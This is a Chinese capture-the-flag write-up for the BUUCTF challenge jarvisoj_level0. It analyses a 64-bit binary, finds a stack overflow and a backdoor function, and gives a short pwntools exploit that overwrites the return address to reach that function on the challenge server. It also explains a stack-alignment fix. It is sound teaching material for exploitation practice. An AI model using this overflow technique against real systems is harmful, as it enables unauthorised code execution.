BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
紫墨丹青17 小时前
贝锐向日葵IP和域名
网络·tcp/ip·网络安全·远程工作
pencek19 小时前
HakcMyVM-Chromatica
网络安全
兜有米啦19 小时前
HCIP2
网络安全
HungryGoogle20 小时前
【无标题】
python·网络安全
TechWayfarer20 小时前
网络安全视角:利用IP定位API接口识别机房与基站流量(合规风控篇)
开发语言·网络·数据库·python·安全·网络安全
锐速网络21 小时前
游戏行业高防选型:如何兼顾抗DDoS与加速体验
网络安全·游戏安全·ddos防护·高防cdn·游戏加速·游戏盾·游戏高防
Bruce_Liuxiaowei21 小时前
2026年5月第3周网络安全形势周报
人工智能·安全·web安全·网络安全·系统安全
谪星·阿凯21 小时前
Windows提权实战博客
windows·web安全·网络安全
X7x521 小时前
主机入侵检测系统(HIDS):企业安全的最后一道防线
网络安全·网络攻击模型·安全威胁分析·安全架构·hids
文章永久免费只为良心1 天前
反射型 XSS 漏洞从弹窗到劫持页面的进阶利用实战
网络安全·渗透测试·xss·xss漏洞进阶·跨站脚本漏洞进阶·跨站脚本漏洞·漏洞复现步骤